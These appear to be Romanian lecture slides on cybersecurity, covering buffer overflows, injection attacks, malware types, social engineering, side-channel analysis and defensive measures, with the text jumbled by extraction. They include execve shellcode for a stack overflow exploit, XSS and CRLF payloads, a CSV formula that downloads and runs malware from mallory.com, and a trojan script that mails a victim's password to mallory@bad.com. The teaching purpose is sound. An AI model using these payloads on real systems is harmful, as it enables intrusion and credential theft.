§ Stack-ul (stiva) crește de la adrese mari la
#include <string.h> adrese mici
Nume Parametru
§ Bufferul crește de la adrese mici la adrese mari
void test(char *name) { Adresă de returnare
char buf[100];
Pointer de bază
strcpy(buf, name); Dacă scriem un șir mai lung de 100 de Stack
caractere?
printf("Welcome %s\n", buf);
} Buffer
Bufferul va suprascrie pointerul de bază și/sau
int main(int argc, char *argv[]) { adresa de returnare
test(argv[1]);
return 0;
}
BUFFER OVERFLOW
#include <stdio.h>
#include <string.h>
Nume Parametru

void test(char *name) { CCCC


char buf[100]; Dacă scriem:
BBBB
strcpy(buf, name); § 100x A
Stack
§ 4x B AAAAAAAAAAAAAAA
printf("Welcome %s\n", buf); AAAAAAAAAAAAAAA
§ 4x C
} AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
int main(int argc, char *argv[]) {
test(argv[1]);
return 0;
}
BUFFER OVERFLOW - EXPLOIT
#include <stdio.h> xor eax, eax ; Clearing eax register
#include <string.h> push eax ; Pushing NULL bytes
Nume Parametru
push 0x68732f2f ; Pushing //sh

void test(char *name) { push 0x6e69622f ; Pushing /bin EEEE


char buf[100]; mov ebx, esp ; ebx now has address of /bin//sh
EEEE
push eax ; Pushing NULL byte
strcpy(buf, name);
mov edx, esp ; edx now has address of NULL byte Stack EEEE
printf("Welcome %s\n", buf); EEEE
push ebx ; Pushing address of /bin//sh
} EEEE
mov ecx, esp ; ecx now has address of address of /bin//sh byte
mov al, 11 ; syscall number of execve is 11
int main(int argc, char *argv[]) { int 0x80 ; Make the system call NOP NOP NOP...
test(argv[1]);
return 0; Codul se compilează și este dar drept “text” aplicației dezvoltate anterior
} Codul compilat are doar 25B deci trebuie făcut padding la 83B de date
BUFFER OVERFLOW - EXPLOIT
§ Dar programul nu se execută corect...

§ Adresa de returnare este E -> nu există această adresă


§ Trebuie specificată o adresă corectă, una ce conține un NOP

Înlocuim:
§ EEEEE (0x45 0x45 0x45 0x45) cu
§ 0x6cfdffbf (una din adresele valide)
CVE-2022-3602
§ A buffer overrun can be triggered in X.509 certificate verification, specifically in name
constraint checking.
§ An attacker can craft a malicious email address to overflow four attacker-controlled bytes on
the stack. This buffer overflow could result in a crash (causing a denial of service) or
potentially remote code execution.

§ Datorită unei erori o variabilă era incrementată odata mai mult decât era necesar producând
un buffer overflow

§ FIX-ul
VALIDAREA (SAU LIPSA ACESTEIA) INTRĂRILOR
§ Este un cumul de măsuri de securitate ce permit „curățarea” valorilor furnizate de client către
server
§ Se aplică în mare parte serverului dar și clienților
§ Se aplică în egală măsura aplicațiilor web cât și celor desktop
§ Atacatorul se bazează pe faptul că aplicația nu se așteaptă la acea intrare motiv pentru care va
reacționa diferit față de cum a fost proiectată:
§ Furnizează un răspuns ce conține informații care ar fi considerate în mod normal secrete
§ Mersul logic al operațiunilor este modificat
§ Execută cod arbitrar, furnizat de atacator
§ Etc.

Soluția nu este doar validarea intrărilor ci și filtrarea codarea/”escaparea”


VALIDAREA (SAU LIPSA ACESTEIA) INTRĂRILOR
§ Validarea intrărilor se aplică asupra:
§ Datelor pure („raw data”)
§ Metadatelor

§ Datele pot fi:


§ Simple
§ Structurate

§ Câteva atribute ale datelor:


§ Cantitate: lungime, frecvență, preț, timp etc.
§ Numerice: index, offset, poziție etc.
§ Simbolice: șir, matrice, tabel etc.
§ Lexicale: text (cu sau fără gramatică) etc.
§ Conforme unor reguli: de business, de fizică etc.
§ Consistente: exprimă legături între ele sau între ele și metadate
§ Criptografice: chei, hash-uri, numere aleatorii etc.
VALIDAREA (SAU LIPSA ACESTEIA) INTRĂRILOR
§ Cauze:
§ Erori de concept
§ Erori de implementare
§ Modificări repetate aduse în timp aplicației

§ Probleme:
§ DoS (utilizare prea mare de resurse)
§ Crash
§ Exfiltrare de date
§ Escaladare de privilegii

§ Soluții:
§ Testare
§ Sanitizare intrări
§ Reprogramare
CRLF INJECTION
§ Se bazează pe o serie de caractere speciale folosite pentru a simboliza sfârșitul unei linii de text
(EOL)
§ CRLF – Carriage Return (ASCII 13 - 0x0D, \r), Line Feed (ASCII 10 - 0x0A, \n)

§ Windows = CRLF
§ Linux/UNIX = LF

§ MacOS (vechi) = CR
§ MacOS (OSX, nou) = LF
§ HTTP = CRLF
CRLF INJECTION
§ Orice cerere (GET) HTTP este însoțită de un răspuns

§ Caracterele CRLF separă headerul HTTP de conținut

§ Un atacator poate executa un atac inserând caractere CRLF – este atacat serverul folosind
clientul!
§ Atacatorul utilizează CRLF pentru a-i „transmite” serverului un mesaj modificat
§ Serverul ”crede” că headerul s-a terminat și urmează un alt obiect

§ Problema este de fapt validarea defectuoasă a intrărilor utilizatorului

§ Cum funcționază:
§ Atacatorul inserează %0d și %0a în textul trimis către server
§ Dacă inserează de 2 ori CRLF serverul consideră ca headerul HTTP s-a terminat iar restul textului este
conținutul (HTTP response splitting)
§ Atacatorul poate trimite apoi orice cerere dorește către server
CRLF INJECTION

§ Considerăm headerul HTTP:

X-Header-Value: unitbv
§ Clientul poate schimba valoarea headerului folosind sintaxa:
?name=iesc
§ Atacatorul poate utiliza același mecanism pentru a-i cere serverului să facă altceva:
?name=iesc%0d%0a%0d%0a<script>alert(document.domain)</script>

Soluția: Sanitizarea intrărilor, „escaping”


CRLF INJECTION
Cross-site scripting (XSS)
§ Atacatorul trimite „cod”, sub formă de text, aplicației web
§ Codul poate să fie:
§ Javascript
§ Flash
§ HTML
§ Sau orice cod poate executa browserul web

§ Atacatorul:
§ Are ca țintă ocolirea politicii „same-origin” setată de serverul web
§ Manipulează serverul pentru a-i trimite clientului cod malițios
CRLF INJECTION
Cross-site scripting (XSS)
§ Reflexted XSS

https://test.com/status?message=Salut. <p>Status: OK.</p>


https://test.com/status?message=<script>Mallory+face+ravagii+</script>
<p>Status: <script>/compromis…</script></p>
§ Stored XSS

Este identic cu precedentul atac dar serverul stochează codul și-l returnează la următoarea
cerere odată cu headerul HTTP
§ DOM-based XSS
Are loc atunci când pagina web returnează rezultatul unui script direct într-un DOM, fără a
verifica sursa scriptului
CSV INJECTION
§ Se mai numește „formula injection”
§ Excel sau LibreOffice Calc interpretează orice începe cu ”=” ca fiind o formulă
§ Atacatorul nu trebuie decât să genereze un fișier CSV care dacă este deschis de victimă execută în mod „automat” atacul
§ Se bazează pe diverse atacuri de securitate ce permit manipularea paginilor ce exportă date în format CSV

§ Exemplu de fișier CSV:


index;valoare
1;13
2;9
3;1
4;22

§ Atacatorul modifică fișierul astfel:


index;valoare
1;13
2;9
3; =cmd|'/C powershell IEX(wget mallory.com/malware.exe)’
4;22

Soluția: Sanitizarea intrărilor


DESERIALIZATION
§ Serializare/Deserializare sunt procesele ce permit realizarea unei structuri „plate” de date plecând
de la structuri complexe (de genul obiecte și câmpurile acestora)

Sursa: https://hazelcast.com/glossary/serialization/

§ Serializarea datelor este considerată nesigură atunci când acest proces este executat de p pagina
web și nu de către server (client side vs. server side)

Soluția: Sanitizarea intrărilor, WAF


SQL INJECTION
§ Este o tehnică extrem e eficientă de a manipula baze de date atașate unor aplicații
Sursa: https://www.w3schools.com/sql/sql_injection.asp
SQL INJECTION
§ Impactul...
Sursa: https://hackaday.com/2014/04/04/sql-injection-fools-speed-traps-and-clears-your-record/
SQL INJECTION

§ Soluții:
§ Sanitizare intrări
§ Separarea controalelor utilizatorului de cele ale baze de date
§ Parametrizarea căutărilor în baza de date
§ Proceduri stocate
§ Validarea unei liste de căutări predefinite
§ Etc.
AMENINȚĂRI
§ O amenințare este o acțiune sau un eveniment ce pot avea un impact negativ asupra unui
sistem de calcul sau asupra unei aplicații
§ Amenințarea poate sa fie:
§ Intenționată (hacking)
§ Accidentală (dezastru natural, erori umane)

§ În urma unei amenințări poate rezulta un atac:


§ Activ: se încearcă modificarea țintită a unor resurse astfel încât funcționarea sistemelor atacate să fie
direct modificată
§ Pasiv: nu se dorește modificarea sistemului atacat ci doar colectarea unor date despre acesta

§ Importantă este definirea riscurilor și a măsurilor de mitigare


§ Datorită răspândirii pe scară largă a sistemelor de calcul și a dependenței crescute de acestea,
amenințările și atacurile asupra sistemelor informatice poartă cumulativ numele de „război
cibernetic”
VIRUS/VIERME
§ Este un tip de program de calculator care odată executat se replichează modificând alte
programe de calculator prin introducerea propriului cod sursă
§ În mod colocvial zonele modificate de virus se numesc „infectate”
§ Un virus are nevoie de un program gazdă; când este executat programul gazdă se execută și
codul virusului
§ Un vierme nu are nevoie de o gazdă – este un program de sine stătător
§ Dezvoltatorii virusurilor folosesc mecanisme extrem de complexe pentru a scăpa de detecția
programelor antivirus
§ Infecțiile au loc prin exploatarea unor vulnerabilități sau prin tehnici de inginerie socială
VIRUS/VIERME
§ Un virus are 3 părți:
§ Mecanismul de infectare – permite virusului să intre în sistem
§ Bomba logică – logica ce permite virusului să atace la momentul potrivit
§ Încărcătura utilă – corpul virusului, materialul logic care implementează „cerințele” atacatorului

§ Un atac executat cu un virus are 4 părți:


§ Faza inactivă: virusul a infectat gazda dar stă inactiv pentru a evita orice formă de detecție
§ Faza de replicare: virusul doar se replichează pentru a-și asigura supraviețuirea
§ Faza de declanșare: virusul iese din hibernare căci condițiile ideale au fost îndeplinite
§ Faza de execuție: virusul ataca executând programul/programele malițioase

§ Un virus modern folosește tehnici evazive (de exemplu modificarea dinamică a codului)
TROIAN
§ Este bazat pe vechiul „cal troian” din Troia antică
§ Se folosește de tehnici de inginerie socială mascându-se drept ceva de interes pentru subiectul
atacat
§ Față de un virus sau vierme, un troian NU face nimic ”rău”
§ De regulă, după infecție, oferă doar o „poartă de intrare” în sistemul infectat

:
stty –echo
/bin/echo -n "Password for `whoami`: ”
read x
/bin/echo "”
stty echo echo $x | mail -s "`whoami` password" mallory@bad.com
sleep 1
echo Sorry.
rm $0
exit 0
VIRUS/VIERME/TROIAN
Wall of Fame J
ILOVEYOU
§ A infectat peste 10 milioane de calculatoare ce rulează Windows începând cu mai 2000

§ Se folosea de tehnici simple de mascare a extensiei (virus.txt.vbs)


§ Șterge date de pe calculator (fișierele mp3 însă doar le redenumește)
§ Se autosalvează în aplicația de contacte din Windows si se replichează prin Outlook

STUXNET
§ ...

CryptoLocker
§ A avut loc intre 5 septembrie 2013 si mai 2014
§ S-a propagat ca atașament al unor mesaje de tip e-Mail (ub forma unui fișier zip ce conținea un fișier executabil mascat ca un fișier pdf)
§ Odată ajuns pe un sistem de calcul cripta anumite tipuri de fișiere
§ S-a plătit o recompensă totală de 41928BTC (aprox. 680 mil $)
SPYWARE
§ Este un program de calculator menit sa colecteze date pe care le trimite unui terț

§ Este un mecanism specific aplicațiilor malițioase dar și celor legitime


§ Este frecvent asociat cu zona publicității online
§ Ținta este:
§ Vânzarea țintită de produse (publicitate online)
§ Furtul de informație

§ Există 4 tipuri:
§ Adware
§ Sisteme de monitorizare (monitors)
§ Sisteme de urmărire (tracker)
§ Troieni
SPYWARE
Exemple...

§ Aplicații DRM care „sună” acasă și transmit informații despre cum sunt folosite produsele
respective
§ keyloggers = aplicații sau dispozitive care înregistrează tastele apăsate
§ rootkit = aplicații software menite a escalada privilegiile de acces ale unui utilizator oarecare

§ web beacon = un cumul de tehnologii care permit unui actor să urmărească dacă un anume
conținut a fost accesat sau nu (ex. spy pixel)

Scopul: infiltrare fără detecție, furtul datelor fără detecție, autoștergere fără probleme
ADWARE
§ Aplicații gratuite sau mai bine zis „gratuite” ce prezintă diverse reclame

§ Scopul lor este:


§ Finanțarea organizației dezvoltatoare prin venitul adus de reclame
§ Exfiltrarea de date

§ Pot fi:
§ „legitime”
§ Malițioase

Nu totdeauna adware = malware


Există un raport foarte sensibil între intimitate/etică și diversele forme de finanțare
RANSOMWARE
§ Este o formă pură de malware menit a obține beneficii financiare pentru atacatori

§ Atacatorul blochează accesul proprietarului la date până la plata unei recompense


§ Într-un atac de succes:
§ Atacatorul nu lasă urme
§ Criptează perfect datele fără a face posibilă recuperarea lor fără cheia de decriptare
§ Acceptă doar plați în criptomonede ce nu pot fi urmărite

§ Folosesc:
§ Cai troieni
§ Vulnerabilități multiple sau de tip „zero day”
§ Tehnici de social engineering

§ În primele 6 luni ale lui 2018 au fost 181M atacturi; în 2021 623M
RANSOMWARE
Wall of Fame J
WannaCry
§ A țintit sisteme de rulează Windows
§ Este considerat ȘI un vierme căci deține un mecanism de autoreplicare
§ A pornit din Coreea de Nord
§ Primele versiuni au fost scrie in Visual C++ 6 lansat in 1998
§ A folosit exploitul EternalBlue, dezvoltat de NSA (CVE-2017-0144)
§ A infectat 230000 de sisteme in 150 de țări în doar 24 de ore
§ Recompensa varia între 300$ și 600$
SOCIAL ENGINEERING
§ Este o formă de manipulare psihologică cu scopul de a obține informații clasificate fără să fie
efectuat un atac de propriu de securitate
§ Se folosește de diverse trucuri pentru a strânge informații ce mai apoi sunt folosite în atacuri
complexe
§ Este o formă diferită, mult mai complexă, de înșelătorie clasică
§ Tinde să pară un număr mare de evenimente aleatoare, fără vreo legătură între ele

§ Se exploatează:
§ Lipsa cunoștințelor
§ Credulitatea
§ Contextul
§ Emoțiile
SOCIAL ENGINEERING
§ Are 4 faze:
§ Pregătirea
§ Pasul cel mai important
§ Aparent nu are loc niciun atac J
§ Infiltrarea
§ Atacatorul este un oarecare care-și vede de treaba lui J
§ Exploatarea
§ Odată câștigată increderea prin intermediul primilor 2 pași, atacatorul trece la treaba
§ „Decuplarea”
§ Poate sa fie lentă sau rapidă
§ Poate lăsa urme sau, din contră, poate șterge orice urmă
SOCIAL ENGINEERING
Sursa: https://www.theguardian.com/us-news/2020/jan/28/donald-
Sursa: https://www.vox.com/policy-and-
politics/2018/3/23/17151916/facebook-cambridge-analytica-trump-
diagram

trump-facebook-ad-campaign-2020-election
SOCIAL ENGINEERING
§ Se bazează complet pe modul uman de gândire și pe capacitatea noastră de a lua decizii
„informate”
§ Exploatează felul părtinitor de a raționa, caracteristic tuturor persoanelor
§ Principii de bază:
§ Autoritate: orice „autoritate” are șansă mai mare să treacă nevăzut
§ Intimidare: amenințarea cu consecințe negative
§ Consens: „dacă zice X și Y înseamnă ca e adevărat”; „doar a zis ieri la A3...”
§ Sărăcie: dacă voit nu sunt date informații dar se fac aluzii se crește cererea J
§ Urgență: orice e urgent provoacă un sentiment de agitație ce duce la pierderea rațiunii
§ Familiaritate: „dacă e de-al casei e de încredere”
SOCIAL ENGINEERING

§ Vectori de atac:
§ Vishing
§ Phishing/Spear Phishing
§ Smishing
§ Impersonare
VISHING
§ Voice Phishing

§ Pleacă de la ideea că liniile de telefonie fixă sunt sigure


§ Folosesc VoIP și „call spoofing” pentru a se da drept persoane/companii de încredere
§ Este folosit pentru furtul de carduri de credit sau de identitate
§ Atacurile moderne se bazează pe „roboți” care emulează servicii de suport tehnic

§ COVID-19 a adus o pleiadă de atacuri bazate pe frica oamenilor (și deci dorința) de virus
PHISHING/SPEAR PHISHING
§ Este o tehnică ce utilizează mesaje de tip e-mail pentru a păcălii oamenii să divulge informații
secrete
§ Mesajele pot fi:
§ Complet false
§ Interceptate și modificate

§ Este de departe cea mai „puternică” formă de atac

§ Protecție:
§ Filtrare de mesaje
§ Alerte în browser
§ „Augmentarea” autentificării
§ MFA
§ Monitorizare + contact autorități
§ Etc.
PHISHING/SPEAR PHISHING
SMISHING
§ Este o tehnică ce utilizează mesaje de tip SMS

§ Se bazează pe faptul că tot mai multe servicii online trimit un SMS drept confirmare
§ Se folosesc de curiozitatea umană:
§ Oferă informații incomplete
§ Indică către servicii online ce pot rezolva o problemă
§ Impersonează servicii publice, comune tuturor

Nu există protecție perfectă!


IMPERSONARE
§ Este o tehnică ce implică intervenția directă a atacatorului care se dă drept altcineva

§ Exemplu: portarea numerelor de telefon J


§ Atacatorul...
§ Colectează date despre victimă
§ Sună la o rețea de telefonie mobilă și își exprimă dorința de a se porta
§ Obține o cartelă SIM cu numărul victimei
§ Folosește cartela pentru a recepționa mesajele SMS de autentificare în diverse servicii online
§ Folosește mesajele pentru a fura date/bani sau pentru a dovedi victimei că are acces la număr și deci
vrea o recompensă
HARDWARE HACKING
§ Se bazează pe accesul fizic la echipamentul sau circuitul atacat

§ Exemplu: router comercial


§ Premise:
§ aproape toate echipamentele comerciale au un port „ascuns” folosit in cadrul
dezvoltării
§ Aproape toate produsele pot fi dezasamblate fără prea mare efort și fără a cauza
stricăciuni
§ Componentele sunt etichetate și ușor accesibile
§ Producătorii au serii de echipamente deci orice cunoștințe există pot fi ”reciclate”
în cadrul aceleiași familii de produse
HARDWARE HACKING
U-Boot 1.1.3 (Mar 19 2018 - 09:23:08)

Board: Ralink APSoC DRAM: 32 MB

HARDWARE HACKING
relocate_code Pointer at: 81fc0000
flash manufacture id: c8, device id 40 16
find flash: GD25Q32B
============================================
Ralink UBoot Version: 4.3.0.0
§ Se identifică cu ajutorul unor echipamente --------------------------------------------
ASIC 7628_MP (Port5<->None)
standard nivelul de tensiune acceptat de DRAM component: 256 Mbits DDR, width 16
DRAM bus: 16 bit
circuitele routerului Total memory: 32 MBytes
Flash component: SPI Flash
§ Prin căutări succesive se identifică viteza de Date:Mar 19 2018 Time:09:23:08
============================================
comunicare icache: sets:512, ways:4, linesz:32 ,total:65536
dcache: sets:256, ways:4, linesz:32 ,total:32768
§ Rezultă... ##### The CPU freq = 580 MHZ ####
estimate memory size =32 Mbytes
RESET MT7628 PHY!!!!!!
continue to starting system.
0
disable switch phyport...

3: System Boot system code via Flash.(0xbc010000)


do_bootm:argc=2, addr=0xbc010000
## Booting image at bc010000 ...
Uncompressing Kernel Image ... OK
No initrd
## Transferring control to Linux (at address 8000c150) ...
## Giving linux memsize in MB, 32

Starting kernel ...

LINUX started...
CRIPTANALIZĂ
§ Înseamnă „dezlegarea” secretelor conținute de criptograme
§ La bază stau 4 metode de „lucru”:
§ Criptanaliză prin „forță brută”
§ Folosește tehnici simple în încercarea de a ghicii textul în clar
§ Mașina COPACABANA folosea 128 de FPGA-uri VITEX-4 pentru a putea sparge cu efort minim algoritmul DES
§ Criptanaliza diferențială
§ Pornește de la ideea ca un text în clar influențează în mod liniar o criptogramă
§ Folosește texte în clar ce sunt separate între ele de o diferență constantă, definită de o funcție matematică
§ După criptare atacatorul calculează diferența dintre criptogramele obținute
§ Scopul = descoperirea unor modele statistice de distribuție a celor două diferențe
§ Criptanaliza liniară
§ Cea mai răspândită metodă de atac asupra algoritmilor ce folosesc blocuri de date
§ Are 2 pași:
§ Construirea unui set de ecuații liniare ce descriu textul în clar, criptogramele și cheia de criptare utilizată
§ Utilizarea ecuațiilor, împreună cu perechile cunoscute de texte în clar – criptograme, pentru a determina cheia de criptare utilizată
§ Criptanaliza algebrică
§ presupune rezolvarea unui set de ecuații pentru determinarea cheii de criptare
§ Are 3 pași:
§ Exprimarea operațiilor matematice ale algoritmului criptografic sub forma unui set de ecuații
§ Datele cunoscute sunt introduse în sistemul de ecuații creat
§ Sistemul de ecuații este rezolvat relevând cheia de criptare
ATACURI
§ Atacuri
§ Pasive: circuitul este operat conform specificațiilor producătorului iar criptanaliza este efectuată doar prin
observarea proprietăților fizice
§ Active: circuitul criptografic este manipulat direct, prin intruziune fizică

§ Atacuri
§ Neinvazive: nu presupun manipularea fizică a circuitelor digitale integrate
§ Tipuri:
§ Atacuri ce exploatează timpii de execuție
§ Atacuri ce exploatează variațiile instantanee de consum ale circuitului analizat
§ Atacuri ce exploatează erorile ce apar în cazul în care circuitul atacat este supus unor parametrii ce depașesc limitele
specificate de producător
§ Atacuri ce exploatează radiația electromagnetică a circuitului
§ Semi-invazive: presupun înlăturarea carcasei circuitului digital integrat, oferind acces direct la pastila de
siliciu
§ Invazive: presupun accesul fizic la toate componentele circuitului atacat
§ Sunt considerate extrem de periculoase, deoarece nu există nici o limită în ceea ce privește posibilitățile pe care
atacatorul le are la dispoziție
ANALIZA PUTERII CONSUMATE

§ Se bazează pe faptul că orice circuit electronic absoarbe energie electrică în timpul funcționării sale
§ În general, puterea absorbită este proporțională cu activitatea circuitului
§ A apărut în anii ’90 și a reprezentat o piatră de temelie a criptanalizei moderne
§ Prevede înregistrarea curbelor (sau caracteristicilor) de consum ale circuitului analizat, pe parcursul
operației de interes
§ Curbele au o formă distinctă astfel încât atacatorul poate „determina” operația și datele care sunt
executate de circuit, la un moment dat
ANALIZA PUTERII CONSUMATE
§ Există 2 tipuri:
§ Analiza simplă de putere
§ Constă în analiza vizuală a variației curentului absorbit de circuitul analizat în timp ce
execută operația criptografică de interes
§ Primii algoritmi criptografici atacați cu ajutorul acestei metode au fost DES și RSA (dar
merge la orice algoritm)
§ Analiza diferențială de putere
§ Sunt necesare număr mai mare de curbe de consum, motiv pentru care analiza
acestora se realizează prin metode statistice
§ Dacă curbele de consum au o rezoluție suficient de mare, poate evidenția
instrucțiunile, respectiv profilul de consum al circuitului digital analizat
§ Pentru evidențiere se consideră d, cel mai semnificativ bit din primul octet al
textului în clar ce urmează a fi criptat
§ Se aleg, aleatoriu, 1000 de texte în clar care vor fi mai apoi criptate
§ Pentru fiecare operație de criptare se va înregistra o curba de consum
§ Statistic se poate considera că în 50% din cazuri d are valoarea „0” iar în 50%
valoarea „1”
§ Pentru o evaluare simplă a efectului lui d asupra consumului, se calculează
diferența dintre curbele medii de putere, pentru cazul d=0 și d=1
ANALIZA PUTERII CONSUMATE
EXEMPLU: AES
§ Analiza simplă de putere evidențiază:
§ Operația criptografică durează 283µs
§ Algoritmul executat are 10 runde de calcul: primele 9 runde sunt identice ca lungime, iar cea de-a 10-ea este
mai scurtă
§ Prima parte a operației înregistrate are un consum relativ constant
§ La sfârșitul operației este vizibilă o creștere rapidă a consumului pentru o scurtă perioadă de timp

§ Luând în calcul observațiile de mai sus, alături de faptul că analiza a fost efectuată pe un
microcontroler de uz comun (ATmega328, 16MHz), se poate concluziona faptul că algoritmul
analizat este o implementare software a clasicului AES:
§ Consumul inițial este dat de procesul de încărcare a datelor, respectiv de accesul la memoria de lucru
§ Cele 10 vârfuri de consum sunt tipice celor 10 runde de calcul ale algoritmului AES: primele 9 identice ca
lungime iar cea de-a 10-ea mai scurtă deoarece operația MixColumns nu mai este executată
§ Algoritmul implementat utilizează o cheie de 128 biți alături de un bloc de date de dimensiune identică
MĂSURI DE PROTECȚIE
§ Există o varietate mare de atacuri și metode de atac, deci:
§ Nicio măsură de protecție, luată individual, nu este suficientă
§ Măsurile pur tehnologice sunt insuficiente
§ Factorul uman fără ajutor tehnologic nu rezolvă problema

§ Protecția:
§ Factorului uman
§ Infrastructurii (centre de date, rețele, spații de birouri etc.)
§ Datelor
PROTECȚIA FACTORULUI UMAN
§ Orice organizație este definită de factorul uman (factori de decizie, colaboratori, angajați, muncitori
etc.)
§ Factorul uman face de multe ori diferența dintre succes și eșec
§ Factorul uman este:
§ Susceptibil la atacuri de tip social engineering
§ Rău intenționat (în caz de demotivare, răzbunare sau antipatii...)
§ Responsabil în cele din urmă de întreaga organizație

§ Deci:
§ Factorul uman este cel mai important activ al unei organizații
§ Dacă factorul uman este antrenat corespunzător atunci organizația va trece cu bine momentele dificile
PROTECȚIA FACTORULUI UMAN
§ Ce se poate face:
§ Analiză de risc la nivel organizațional
§ Identificarea persoanelor cheie din organizație
§ Asigurarea unei continuități a activității în cazul unor evenimente neprevăzute

§ Măsuri:
§ Antrenarea și instruire continuă
§ Campanii de conștientizare
§ Motivarea performanței
§ Stimularea proactivității
§ Remunerarea excelenței
PROTECȚIA DATELOR
§ Se bazează pe o abordare piramidală ce pleacă de la protecția spațiilor fizice și a infrastructurii
§ Folosește preponderent metode tehnologice
§ Nu există o tehnologie unică ce rezolvă problema sau problemele – se folosesc totdeauna o multitudine
de soluții
§ Metode tipice:
§ Criptare
§ Autentificare multi-factor
§ Entitlement
§ Etc.

§ Este influențată de:


§ Tipicul organizației
§ Analiza de risc
§ Cadrul legal
§ Gradul de criticalitate al datelor
PROTECȚIA INFRASTRUCTURII
SPAȚII DE BIROU
§ Ce se poate face:
§ Analiză de risc
§ Planuri de contingență
§ Planuri de securitate

§ Măsuri:
§ Monitorizare video
§ Control acces (simplu, ierarhic, inelar etc.)
§ Clădiri inteligente
§ Restricționare pe bază de nivel de securitate
§ Restricționare pe bază de nevoi
PROTECȚIA INFRASTRUCTURII
CENTRE DE DATE
§ Ce se poate face:
§ Analiză de risc
§ Analiză de afaceri
§ Plan de continuitate a afacerii

§ Măsuri:
§ Clasificarea activelor fizice în funcție de datele stocate
§ Organizarea centrelor de date în funcție de importanța pentru afacere
§ Locații secundare sau terțe
§ Acces pe bază de proceduri stricte (dar eficiente !!!)
§ Monitorizare strictă (camere video care acoperă ÎNTREGUL spațiu, control acces inelar, cu factori multiplii
etc.)
PROTECȚIA INFRASTRUCTURII
REȚELE
§ Ce se poate face:
§ Monitorizare trafic
§ Identificare modele
§ Utilizare de instrumente software, reguli statice și/sau dinamice
§ Control al accesului (pe bază de autentificare simplă și/sau reputație)
§ etc.
§ Măsuri:
§ Segmentare a rețelelor (sau microsegmentare)
§ Inventariere active
§ Diode de date
§ Copii de siguranță
§ Firewall
§ VPN
§ Sandboxing
§ IPS/IDS
§ SIEM
PROTECȚIA INFRASTRUCTURII
INVENTARIERE ACTIVE
§ Scopul este:
§ Identificarea tuturor activelor
§ Identificarea activelor critice („golden nuggets”) și a celor mai slabe („weakest link”)
§ Realizarea de planuri de contingență pentru activele cu „probleme”

§ Cum se poate face:


§ Scanare automatizată (inteligentă)
§ Completarea manuală a datelor lipsă
§ Categorisire (în funcție de criterii definite de organizația respectivă)
§ Protejare:
§ Izolare
§ Protecție suplimentară („ring fencing”)
§ Etc.
PROTECȚIA INFRASTRUCTURII
FIREWALL
§ Este o aplicație software sau un echipament hardware ce blochează conexiunile din exterior spre
rețeaua de protejat
§ Există:
§ Firewall simplu, cu reguli statice, care identifică traficul doar pe baza unor modele simplu (de exemplu dacă
traficul vine din țara X atunci trebuie blocat)
§ Firewall complex/modern, cu reguli dinamice, adaptive, ce permite inspectarea conținutului pachetelor de
date (de exemplu se uită la fișierele descărcate pentru a identifica conținutul malițios)

§ Reguli de bază:
§ Deny all -> nu permite nicio conexiune
§ Allow port XYZ -> permite DOAR portul XYZ

§ Poate fi:
§ Firewall la nivel de sistem
§ Firewall la nivel de aplicație (proxy)
PROTECȚIA INFRASTRUCTURII
VPN
§ Permite:
§ Realizarea unui ”tunel” criptat între rețeaua organizației și client
§ Comunicația sigură peste medii publice/nesigure

§ Folosind criptografia permite autentificarea mutuală între server și client

§ Stă la baza organizațiilor distribuite pe spații geografice vaste

§ Necesită reguli dedicate în firewall

§ DAR:
§ Nu permite monitorizarea facilă a traficului
§ Este greu de identificat o conexiune VPN malițioasă
§ De multe ori devine foarte complex si greu de setat/manageriat
PROTECȚIA INFRASTRUCTURII
IPS/IDS + SIEM
§ Intrusion Prevention System/Intrusion Detection System
§ Sunt sisteme software, complexe, ce monitorizează întreg traficul de rețea pentru a:
§ Identifica modele tipice
§ Evenimente ieșite din comun (=atacuri, defecțiuni etc.)
§ Evenimentele de securitate sunt raportate printr-un SIEM (Security Information and Event Monitoring)
§ Suplimentar, față de un firewall, permite corelarea datelor colectate și deci o vizibilitate mai bună asupra
întregii infrastructuri
§ Trebuie plasat în puncte strategice ale rețelei
§ Se bazează pe monitorizare directă și agenți instalați pe clienți
§ SIEM-ul este eficient DOAR dacă:
§ Sunt specificate reguli de corelare
§ Regulile sunt actualizate periodic
§ Există personal uman care se uită peste notificări și corelează evenimentele, luând măsuri potrivite pentru
incidentele descoperite
PROTECȚIA INFRASTRUCTURII
DIODE DE DATE ȘI COPII DE SIGURANȚĂ
§ În cazul unui atac de securitate sau a unui dezastru natural:

§ Intervine planul de acțiune definit de organizație


§ Se aplică planul de continuitate a afacerii

§ Se restaurează datele din copiile de siguranță disponibile


§ Se reia activitatea

§ Copiile de siguranță trebuie:


§ Să fie considerate sigure
§ Să fie integre
§ Să existe certitudinea că nu au fot manipulate

§ Copiile de siguranță se fac de regulă în altă locație fizică folosind „diode de date” (conexiuni
unidirecționale ce permit doar scrierea sau doar citirea datelor)
DE UNDE ÎNCEPEM?
§ Există:
§ Vulnerabilități
§ Riscuri
§ Atacuri
§ Resurse umane

§ Cum...
§ Ne protejăm?
§ De unde începem „treaba”?
§ Pe ce ne concentrăm?
§ Care sunt pașii de urmat?
CARE ESTE MERSUL LUCRURILOR?
Sursa: https://ats.ae/cyber-security-standard/understanding-ot-cyber-security-standards/
CE PROTEJĂM ȘI CÂND?
Sursa: https://www.sciencedirect.com/topics/computer-science/cybersecurity-framework
STANDARDELE NE SALVEAZĂ!
§ Un standard este:
§ Un nivel de calitate spre care țintim.
§ O normă tehnică ce asigură calitatea finală a produsului dacă se respectă unul și același proces de producție
folosind aceleași instrumente.

§ În domeniul securității cibernetice un standard nu te asigură de protecție ci de faptul că ai pașii de


urmat în cazul unui dezastru sau a unui atac

§ Există nenumărate standarde relevante care depind foarte mult de domeniu


§ Există nenumărate cerințe legale regionale, naționale sau continentale de care trebuie ținut cont

§ Există bune practici tipice fiecărei organizații


SUNT ÎNSĂ ATÂT DE MULTE...
Sursa: https://www.techtarget.com/searchsecurity/tip/IT-security-frameworks-and-standards-Choosing-the-right-one
SUNT ÎNSĂ ATÂT DE MULTE...
Sursa: https://ats.ae/cyber-security-standard/understanding-ot-cyber-security-standards/

§ NERC CIP: These standards are strived at protecting the national power grid.
§ NIS Directive: This legislation aims to strengthen cybersecurity across the EU.
§ MITRE ATT&CK ICS Framework: This is a globally available knowledge base of tactics and strategies used
by cyber threat actors.
§ NISTIR 8374 (Draft): This guide strives to aid organizations in managing their ransomware attacks threats.
§ ISA/IEC 62443: This framework relieves present and future security vulnerabilities in industrial
automation and control systems.
§ NIST 800-53: These security and privacy controls aim to help the federal government and critical
infrastructure.
